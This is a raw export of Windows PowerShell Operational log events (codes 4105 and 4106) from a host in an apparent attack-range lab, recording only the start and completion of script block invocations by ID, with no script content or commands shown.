OpCode=On create calls
RecordNumber=2030285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030277
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030276
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030275
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030274
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030258
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030257
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030252
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030251
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
